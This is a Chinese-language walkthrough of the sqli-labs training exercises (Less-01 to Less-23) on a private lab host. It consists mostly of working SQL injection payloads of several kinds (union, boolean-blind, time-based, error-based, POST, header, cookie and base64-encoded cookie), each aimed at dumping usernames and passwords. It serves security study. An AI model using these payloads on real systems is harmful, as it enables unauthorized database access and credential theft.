Sqli-labs 通关中...

Sqli-labs

目前 Less-26

Basic Injection

Less-01

# 基础SQL注入测试,尝试在id参数处注入SQL语句
192.168.75.50:8080/Less-1/?id=-1'

# 测试查询结果集中有多少列,通过 order by 3 验证是否存在至少3列
192.168.75.50:8080/Less-1/?id=-1' order by 3

# 使用 union select 来联合不同的查询结果集,测试是否匹配之前确定的列数
192.168.75.50:8080/Less-1/?id=-1' union select 1,2,3

# 获取当前数据库的名称,使用 database() 函数
192.168.75.50:8080/Less-1/?id=-1' union select 1,database(),3 --+

# 获取数据库 security 中所有表的名称
192.168.75.50:8080/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

# 获取 users 表中的所有列名
192.168.75.50:8080/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

# 获取 users 表中的所有用户名和密码
192.168.75.50:8080/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

Less-02

# 测试基本的布尔盲注,1=1始终为真
http://192.168.75.50:8080/Less-2/?id=1 and 1=1

# 测试基本的布尔盲注,1=2始终为假
http://192.168.75.50:8080/Less-2/?id=1 and 1=2

# 测试查询结果中列的数量,通过 order by 3 验证是否存在至少3列
http://192.168.75.50:8080/Less-2/?id=1 order by 3

# 使用 union select 来联合不同的查询结果集,测试是否匹配3列
http://192.168.75.50:8080/Less-2/?id=-1 union select 1,2,3

# 获取当前数据库的名称,使用 database() 函数
http://192.168.75.50:8080/Less-2/?id=-1 union select 1,2,database()

# 获取数据库 security 中所有表的名称
http://192.168.75.50:8080/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'

# 获取 users 表中的所有列名
http://192.168.75.50:8080/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'

# 获取 users 表中的所有用户名和密码
http://192.168.75.50:8080/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users

Less-03

# 基础SQL注入测试,尝试在id参数处注入SQL语句
http://192.168.75.50:8080/Less-3/?id=1')

# 测试基本的布尔盲注,1=2始终为假
http://192.168.75.50:8080/Less-3/?id=1') and 1=2

# 测试查询结果中的列数,通过 order by 3 验证是否存在至少3列
http://192.168.75.50:8080/Less-3/?id=1') order by 3 --+

# 获取当前数据库的名称,使用 database() 函数
http://192.168.75.50:8080/Less-3/?id=-1') union select 1,database(),3 --+

# 获取数据库 security 中所有表的名称
http://192.168.75.50:8080/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+

# 获取 users 表中的所有列名
http://192.168.75.50:8080/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

# 获取 users 表中的所有用户名和密码
http://192.168.75.50:8080/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+

Less-04

# 基础SQL注入测试,尝试在id参数处注入SQL语句
http://192.168.75.50:8080/Less-4/?id=1")

# 测试基本的布尔盲注,1=2始终为假
http://192.168.75.50:8080/Less-4/?id=1") and 1=2

# 测试查询结果中的列数,通过 order by 3 验证是否存在至少3列
http://192.168.75.50:8080/Less-4/?id=1") order by 3 --+

# 测试使用 union 语句验证列数是否匹配
http://192.168.75.50:8080/Less-4/?id=-1") union select 1,2,3 --+

# 获取当前数据库的名称
http://192.168.75.50:8080/Less-4/?id=-1") union select 1,database(),3 --+

# 获取数据库中所有表的名称
http://192.168.75.50:8080/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+

# 获取特定表(如 users 表)中的所有列名
http://192.168.75.50:8080/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+

# 获取 users 表中的所有用户名和密码
http://192.168.75.50:8080/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-05

布尔盲注

#
192.168.75.50:8080/Less-8/?id=1' and 1=1--+

# 数据库名称长度为8位
http://192.168.75.50:8080/Less-5/?id=1' and length(database())=8 --+

# 尝试使用 substr 查找数据库名的第一位是否为 s,回显结果正常,其他字母不回显
http://192.168.75.50:8080/Less-5/?id=1' and substr(database(),1,1)='s' --+

## 爆出当前数据库名,正确做法是使用脚本自动化爆破
http://192.168.75.50:8080/Less-5/?id=1' and substr(database(),1,8)='security' --+

# 爆表信息
## 爆表数量,表数量为4个
http://192.168.75.50:8080/Less-5/?id=1' and (select count(*) from information_schema.tables where table_schema = 'security') = 4 --+

## 爆出所有表名的总长度,为29位
http://192.168.75.50:8080/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'security')) = 29 --+

## 逐个破解表名字,第一个表名的第一个字母是 e,对应 ascii 值是101
http://192.168.75.50:8080/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1))=101 --+
## 使用脚本来爆破速度更快

# 爆列信息
## 爆列名的总长度,长度为20
http://192.168.75.50:8080/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema ='security'))=20 --+

## 逐个破解列名,第一个列名的第一个字母是 i,对应 ascii 值是105
http://192.168.75.50:8080/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema ='security') from 1 for 1))=105 --+
## 使用脚本来爆破速度更快

# 爆数据
## 爆出数据总行数
## 用户名数据总长度,长度为91
http://192.168.75.50:8080/Less-5/?id=1' and length((select group_concat(username) from users))=91 --+

## 密码数据总长度,长度为96
http://192.168.75.50:8080/Less-5/?id=1' and length((select group_concat(password) from users))=96 --+

## 逐个破解用户名,第一个用户名的第一个字母是 D,对应 ascii 值是68
http://192.168.75.50:8080/Less-5/?id=1' and ascii(substr((select group_concat(username) from users)from 1 for 1))=68 --+

## 逐个破解密码,第一个密码的第一个字母是 D,对应 ascii 值是68
http://192.168.75.50:8080/Less-5/?id=1' and ascii(substr((select group_concat(password) from users)from 1 for 1))=68 --+

Less-06

报错注入

# 爆库名
http://192.168.75.50:8080/Less-6/?id=1" and (select updatexml(1,concat('~',(select database())),1))--+
# 使用 updatexml 函数爆出当前数据库的名称

# 爆表名
http://192.168.75.50:8080/Less-6/?id=1" and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema ='security')),1))--+
# 使用 updatexml 函数爆出指定数据库中所有表的名称

# 爆列名
http://192.168.75.50:8080/Less-6/?id=1" and (select updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users')),1))--+
# 使用 updatexml 函数爆出指定表中的所有列名

# 爆数据
## 一次有字数限制,所以需要搭配 limit 使用
http://192.168.75.50:8080/Less-6/?id=1" and (select updatexml(1,concat('~',(select username from users limit 0,1)),1))--+
# 使用 updatexml 函数爆出用户表中的第一个用户名
http://192.168.75.50:8080/Less-6/?id=1" and (select updatexml(1,concat('~',(select password from users limit 2,1)),1))--+
# 使用 updatexml 函数爆出用户表中的第三个密码

Less-07

# 基础盲注,尝试通过返回页面的变化进行判断
http://192.168.75.50:8080/Less-7/?id=1')) and 1=1 --+
# 如果页面正常加载,表示注入成功,1=1为真

http://192.168.75.50:8080/Less-7/?id=1')) and 1=2 --+
# 如果页面未加载或异常,表示注入成功,1=2为假

# 爆库名
http://192.168.75.50:8080/Less-7/?id=1')) and (length(database())=8) --+
# 通过布尔盲注判断当前数据库名称的长度是否为8位

http://192.168.75.50:8080/Less-7/?id=1')) and (substr(database(),1,1)='s') --+
# 通过布尔盲注判断数据库名称的第一位是否为 's'

# 爆表名
http://192.168.75.50:8080/Less-7/?id=1')) and (select count(*) from information_schema.tables where table_schema=database())=4 --+
# 通过布尔盲注判断当前数据库中是否有4个表

http://192.168.75.50:8080/Less-7/?id=1')) and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
# 通过布尔盲注逐个爆破第一个表名,判断第一个字母的ASCII值是否为101(字母 'e')

# 爆列名
http://192.168.75.50:8080/Less-7/?id=1')) and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 --+
# 通过布尔盲注逐个爆破第一个列名,判断第一个字母的ASCII值是否为105(字母 'i')

# 爆数据
## 逐个爆破用户名
http://192.168.75.50:8080/Less-7/?id=1')) and (ascii(substr((select username from users limit 0,1),1,1))=68 --+
# 通过布尔盲注逐个爆破第一个用户名的第一个字母,判断其ASCII值是否为68(字母 'D')

## 逐个爆破密码
http://192.168.75.50:8080/Less-7/?id=1')) and (ascii(substr((select password from users limit 0,1),1,1))=68 --+
# 通过布尔盲注逐个爆破第一个密码的第一个字母,判断其ASCII值是否为68(字母 'D')

Less-08

Less-05 一模一样,Less-05 可以尝试报错注入

Less-09

使用sleep()来进行延时注入,最好搭配burp来使用

在这里插入图片描述

# 判断当 id=1' 时,sleep 函数会执行
http://192.168.75.50:8080/Less-9/?id=1' and sleep(5)--+
# 如果页面延迟5秒后响应,说明SQL注入成功,sleep(5)被执行

# 判断数据库名长度
http://192.168.75.50:8080/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明数据库名称的长度为8

# 逐个判断数据库名
http://192.168.75.50:8080/Less-9/?id=1' and if(ascii(substr(database() from 1 for 1))=115,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明数据库名称的第一个字符的ASCII值为115(字母 's')

# 判断所有数据表的长度
http://192.168.75.50:8080/Less-9/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明数据库中所有表名拼接后的总长度为29

# 爆表名
http://192.168.75.50:8080/Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security') from 1 for 1))=101,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明第一个表名的第一个字符的ASCII值为101(字母 'e')

# 爆列名
http://192.168.75.50:8080/Less-9/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') from 1 for 1))=105,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明第一个列名的第一个字符的ASCII值为105(字母 'i')

# 爆用户名
http://192.168.75.50:8080/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1) from 1 for 1))=68,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明第一个用户名的第一个字符的ASCII值为68(字母 'D')

# 爆密码
http://192.168.75.50:8080/Less-9/?id=1' and if(ascii(substr((select password from users limit 0,1) from 1 for 1))=68,sleep(5),1)--+
# 如果页面延迟5秒后响应,说明第一个密码的第一个字符的ASCII值为68(字母 'D')

Less-10

less-9一样,单引号变成了双引号

# 判断当 id=1" 时,sleep 函数会执行
http://192.168.75.50:8080/Less-10/?id=1" and sleep(3)--+
# 如果页面延迟3秒后响应,说明SQL注入成功,sleep(3)被执行

# 判断数据库名长度
http://192.168.75.50:8080/Less-10/?id=1" and if(length(database())=8,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明数据库名称的长度为8

# 逐个判断数据库名
http://192.168.75.50:8080/Less-10/?id=1" and if(ascii(substr(database() from 1 for 1))=115,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明数据库名称的第一个字符的ASCII值为115(字母 's')

# 判断所有数据表的长度
http://192.168.75.50:8080/Less-10/?id=1" and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明数据库中所有表名拼接后的总长度为29

# 爆表名
http://192.168.75.50:8080/Less-10/?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security') from 1 for 1))=101,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明第一个表名的第一个字符的ASCII值为101(字母 'e')

# 爆列名
http://192.168.75.50:8080/Less-10/?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') from 1 for 1))=105,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明第一个列名的第一个字符的ASCII值为105(字母 'i')

# 爆用户名
http://192.168.75.50:8080/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1) from 1 for 1))=68,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明第一个用户名的第一个字符的ASCII值为68(字母 'D')

# 爆密码
http://192.168.75.50:8080/Less-10/?id=1" and if(ascii(substr((select password from users limit 0,1) from 1 for 1))=68,sleep(3),1)--+
# 如果页面延迟3秒后响应,说明第一个密码的第一个字符的ASCII值为68(字母 'D')

Less-11

11关是POST

在这里插入图片描述

所以我们需要把包放到重放器,然后再post数据上输注入语句

在这里插入图片描述

uname=admin' and 1=1 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明注入成功,1=1 为真

uname=admin' and 1=2 --+&passwd=admin&submit=Submit
# 如果页面异常或加载失败,说明注入成功,1=2 为假

# 使用 order by 查询字段有 2 位
uname=admin' order by 2#&passwd=admin&submit=Submit
# 如果页面正常加载,说明结果集有至少 2 列

# 爆显示位
uname=admin' union select 1,2#&passwd=admin&submit=Submit
# 如果页面正常加载,说明 union 查询成功,返回了 2 列

# 爆库名
uname=-admin' union select 1,database()#&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到当前数据库的名称

# 爆表名
uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到指定数据库(security)中所有表的名称

# 爆列名
uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到指定表(users)中的所有列名

# 爆数据
uname=-admin' union select group_concat(username),group_concat(password) from users#&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到 users 表中的所有用户名和密码

Less-12

less-11差不多,POST

uname=admin") and 1 = 2 --+&passwd=admin&submit=Submit
# 如果页面异常或加载失败,说明注入成功,1=2 为假

# 使用 order by 查询字段有 2 位
uname=admin") order by 2 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明结果集有至少 2 列

# 爆显示位
uname=-admin") union select 1,2 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明 union 查询成功,返回了 2 列

# 爆库名
uname=-admin") union select 1,database() --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到当前数据库的名称

# 爆表名
uname=-admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到指定数据库(security)中所有表的名称

# 爆列名
uname=-admin") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到指定表(users)中的所有列名

# 爆数据
## 爆出所有用户名
uname=-admin") union select group_concat(username),null from users--+&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到 users 表中的所有用户名,用户名信息会拼接在一起返回

## 爆出所有密码
uname=-admin") union select null,group_concat(password) from users--+&passwd=admin&submit=Submit
# 如果页面正常加载,说明可以通过 SQL 查询得到 users 表中的所有密码,密码信息会拼接在一起返回

Less-13

发现无登陆正确回显,但是有报错语句,尝试报错注入,POST

# 爆库名
uname=admin') and (select updatexml(1,concat('~',(select database())),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到当前数据库的名称

# 爆表名
uname=admin') and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema ='security')),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到指定数据库(security)中所有表的名称

# 爆列名
uname=admin') and (select updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users')),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到指定表(users)中的所有列名

# 爆所有用户名
uname=admin') and (select updatexml(1,concat('~',(select group_concat(username) from users)),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到 users 表中的所有用户名

# 爆所有密码
uname=admin') and (select updatexml(1,concat('~',(select group_concat(password) from users)),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到 users 表中的所有密码

Less-14

less-13一模一样,就换一下符号,POST

# 爆库名
uname=admin" and (select updatexml(1,concat('~',(select database())),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到当前数据库的名称

# 爆表名
uname=admin" and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema ='security')),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到指定数据库(security)中所有表的名称

# 爆列名
uname=admin" and (select updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users')),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到指定表(users)中的所有列名

# 爆所有用户名
uname=admin" and (select updatexml(1,concat('~',(select group_concat(username) from users)),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到 users 表中的所有用户名

# 爆所有密码
uname=admin" and (select updatexml(1,concat('~',(select group_concat(password) from users)),1))#&passwd=admin&submit=Submit
# 如果页面显示错误信息并包含 '~',说明可以通过 SQL 查询得到 users 表中的所有密码

Less-15

布尔盲注,POST

uname=admin' and 1=1 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明注入成功,1=1 为真

uname=admin' and 1=2 --+&passwd=admin&submit=Submit
# 如果页面异常或加载失败,说明注入成功,1=2 为假

# 爆库长度
uname=admin' and length(database())=8 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明当前数据库名称的长度为 8 个字符

# 逐个爆库名字符
uname=admin' and ascii(substr((select database()) from 1 for 1))=115 --+&passwd=admin&submit=Submit
# 通过逐个字符猜测数据库名称的每个字符的 ASCII 码,这里是猜测第一个字符的 ASCII 码为 115(s)

# 爆表名长度
uname=admin' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明 'security' 数据库中的所有表名的总长度为 29 个字符

# 逐个爆表名字符
uname=admin' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security') from 1 for 1))=101 --+&passwd=admin&submit=Submit
# 猜测 'security' 数据库中的第一个表名的第一个字符的 ASCII 码为 101(e)

# 爆列名长度
uname=admin' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=20 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明 'users' 表中的所有列名的总长度为 20 个字符

# 逐个爆列名字符
uname=admin' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') from 1 for 1))=105 --+&passwd=admin&submit=Submit
# 猜测 'users' 表中第一个列名的第一个字符的 ASCII 码为 105(i)

# 爆数据长度
uname=admin' and length((select group_concat(username) from users))=91 --+&passwd=admin&submit=Submit
# 如果页面正常加载,说明 users 表中所有用户名的总长度为 91 个字符

# 逐个爆用户名字符
uname=admin' and ascii(substr((select group_concat(username) from users) from 1 for 1))=68 --+&passwd=admin&submit=Submit
# 猜测第一个用户名的第一个字符的 ASCII 码为 68(D)

# 逐个爆密码字符
uname=admin' and ascii(substr((select group_concat(password) from users) from 1 for 1))=68 --+&passwd=admin&submit=Submit
# 猜测第一个密码的第一个字符的 ASCII 码为 68(D)

Less-16

less-15一样,不过要求使用延时盲注,POST

# 判断当前数据库名称的长度
uname=admin") and if(length(database())=8,sleep(3),1)--+&passwd=admin&submit=Submit
# 如果页面响应延迟 3 秒,说明当前数据库名称的长度为 8 个字符

# 逐个判断数据库名称的每个字符
uname=admin") and if(ascii(substr((select database())from 1 for 1))=115,sleep(3),1)--+&passwd=admin&submit=Submit
# 判断数据库名称的第一个字符是否为 's' (ASCII = 115),如果页面响应延迟 3 秒,说明猜测正确

# 逐个判断数据表名称字符
uname=admin") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security')from 1 for 1))=101,sleep(3),1)--+&passwd=admin&submit=Submit
# 判断第一个表名的第一个字符是否为 'e' (ASCII = 101),如果页面响应延迟 3 秒,说明猜测正确

# 逐个判断列名称字符
uname=admin") and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')from 1 for 1))=105,sleep(3),1)--+&passwd=admin&submit=Submit
# 判断第一个列名的第一个字符是否为 'i' (ASCII = 105),如果页面响应延迟 3 秒,说明猜测正确

# 逐个判断用户名字符
uname=admin") and if(ascii(substr((select group_concat(username) from users)from 1 for 1))=68,sleep(3),1)--+&passwd=admin&submit=Submit
# 判断第一个用户名的第一个字符是否为 'D' (ASCII = 68),如果页面响应延迟 3 秒,说明猜测正确

# 逐个判断密码字符
uname=admin") and if(ascii(substr((select group_concat(password) from users)from 1 for 1))=68,sleep(3),1)--+&passwd=admin&submit=Submit
# 判断第一个密码的第一个字符是否为 'D' (ASCII = 68),如果页面响应延迟 3 秒,说明猜测正确

Less-17

看对话框是新建用户,是update语句,所以应该是用update语句注入

update <表名> set <列名=更新值> [where <更新条件>]

  1. update语句就知道应该是在密码上注入,输入

    uname=admin&passwd=admin' and 1=1--+&submit=Submit 会报错,所以应该使用报错注入(图放错了)

    在这里插入图片描述

  2. 在burp抓包后放进重放器然后直接粘贴就行

    # 数据库
    uname=admin&passwd=1233' and (select updatexml(1,concat('~',database()),1))--+&submit=Submit
    
    # 表
    uname=admin&passwd=11223' and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))--+ &submit=Submit
    
    # 列
    uname=admin&passwd=11223' and (select updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1))--+ &submit=Submit
    
  3. 爆数据

    uname=admin&passwd=11223' and (select updatexml(1,concat('~',(select group_concat(username) from users)),1))--+ &submit=Submit
    

    发现会报错:You can't specify target table 'users' for update in FROM clause

    大概就是:你不能再update一张表的时候再select一张表

    可以使用子查询来绕过

    # 爆用户名
    uname=admin&passwd=11223' and (select updatexml(1,concat('~',(select group_concat(username) from (select * from users) as a)),1))--+ &submit=Submit
    
    # 密码
    uname=admin&passwd=11223' and (select updatexml(1,concat('~',(select group_concat(password) from (select * from users) as a)),1))--+ &submit=Submit
    

    Less-18

看标题是header注入,从返回结果来看也是,并且是插入语句

insert into [table] (1,2,3) values (1,2,3)

在此处注入
在这里插入图片描述

# 出现报错,存在注入点
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0'
# 成功闭合
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0' and '1'='1
# 参照报错和插入语句这样拼接
User-Agent: 1',2,3)#
# 库名
User-Agent: 1',2,updatexml(1,concat('~',database()),1))#
# 表名
User-Agent: 1',2,updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))#
# 表名
User-Agent: 1',2,updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1))#
# 数据 (有字数限制)
User-Agent: 1',2,updatexml(1,concat('~',(select group_concat(username,password) from users)),1))#

Less-19

  1. 输入用户名密码后发现显示referer,判断是referer注入

  2. 显示的是referer

    # 输入1'判断存在注入点,并且错误显示的是 ...near '192.168.10.1')'...,我们注入的地方在ip地址前面,所以sql语句只存在两个值
    Referer: 1'
    # 成功闭合
    Referer: 1',2)#
    # 库名
    Referer: 1',updatexml(1,concat('~',(database())),1))#
    # 表名
    Referer: 1',updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#
    # 列名
    Referer: 1',updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users')),1))#
    # 数据
    Referer: 1',updatexml(1,concat('~',(select group_concat(username) from users)),1))#
    Referer: 1',updatexml(1,concat('~',(select group_concat(password) from users)),1))#
    

Less-20

  1. 看标题是cookie注入

  2. 正常登录admin显示

    在这里插入图片描述

  3. 在控制台输入 document.cookie 查看 cookie 显示 “uname=admin“

  4. 尝试注入

    # 报错显示:...near ''admin'' LIMIT 0,1' at line 1 ,可以判断注入点在最后一格
    Cookie: uname=admin'
    # 成功闭合
    Cookie: uname=admin'#
    # 库
    Cookie: uname=admin' and (select updatexml(1,concat('~',(database())),1))#
    # 表
    Cookie: uname=admin' and (select updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#
    # 列
    Cookie: uname=admin' and (select updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users')),1))#
    # 数据
    Cookie: uname=admin' and (select updatexml(1,concat('~',(select group_concat(username) from users)),1))#
    Cookie: uname=admin' and (select updatexml(1,concat('~',(select group_concat(password) from users)),1))#
    

Advanced Injection

Less-21

  1. 看标题是Cookie注入并且Base64编码

  2. 正常登录看看

    在这里插入图片描述

  3. 在控制台获取cookie"uname=YWRtaW4%3D" 解码后为admin

  4. 尝试注入(sql语句经过Base64编码),看原文解码即可

    # 报错显示:...near ''admin'') LIMIT 0,1' at line 1 ,注入点是在最后一位
    Cookie: uname=YWRtaW4n
    # 成功闭合
    Cookie: uname=YWRtaW4nKSM=
    # 库
    Cookie: uname=YWRtaW4nKSBhbmQgKHNlbGVjdCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChkYXRhYmFzZSgpKSksMSkpIw==
    # 表
    Cookie: uname=YWRtaW4nKSBhbmQgKHNlbGVjdCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpKSksMSkpIw==
    # 列
    Cookie: uname=YWRtaW4nKSBhbmQgKHNlbGVjdCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJykpLDEpKSM=
    # 数据
    Cookie: uname=YWRtaW4nKSBhbmQgKHNlbGVjdCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzKSksMSkpIw==
    Cookie: uname=YWRtaW4nKSBhbmQgKHNlbGVjdCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzKSksMSkpIw==
    

Less-22

cookie注入,有302跳转,要多抓几次包,payload经过base64编码

# 报错显示:...near '"admin"") LIMIT 0,1' at line 1 ,注入点是在最后一位
Cookie: uname=YWRtaW4i
# 成功闭合
Cookie: uname=YWRtaW4iIw==
# 库
Cookie: uname=YWRtaW4iIGFuZCAoc2VsZWN0IHVwZGF0ZXhtbCgxLGNvbmNhdCgnficsZGF0YWJhc2UoKSksMSkpIw==
# 表
Cookie: uname=YWRtaW4iIGFuZCAoc2VsZWN0IHVwZGF0ZXhtbCgxLGNvbmNhdCgnficsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSksMSkpIw==
# 列
Cookie: uname=YWRtaW4iIGFuZCAoc2VsZWN0IHVwZGF0ZXhtbCgxLGNvbmNhdCgnficsKHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJykpLDEpKSM=
# 数据
Cookie: uname=YWRtaW4iIGFuZCAoc2VsZWN0IHVwZGF0ZXhtbCgxLGNvbmNhdCgnficsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUpIGZyb20gdXNlcnMpKSwxKSkj
Cookie: uname=YWRtaW4iIGFuZCAoc2VsZWN0IHVwZGF0ZXhtbCgxLGNvbmNhdCgnficsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpKSwxKSkj

Less-23

和之前一样是get传参,但是发现注释符 #,—+ 被注释掉了

http://192.168.75.128:8080/Less-23/?id=1' and '1' = '1
# 这样语句拼接之后就变成
# 就可以判断是否存在注入点
http://192.168.75.128:8080/Less-23/?id=1' and '1' = '1'

# 显示位为 1,2
http://192.168.75.128:8080/Less-23/?id=-1' union select 1,2,3 or '1' = '1
# 库
http://192.168.75.128:8080/Less-23/?id=-1' union select 1,database(),3 or '1' = '1
# 表
http://192.168.75.128:8080/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1' = '1
# 列
http://192.168.75.128:8080/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1' = '1
# 数据
http://192.168.75.128:8080/Less-23/?id=-1' union select 1,(select group_concat(username) from users),3 or '1' = '1
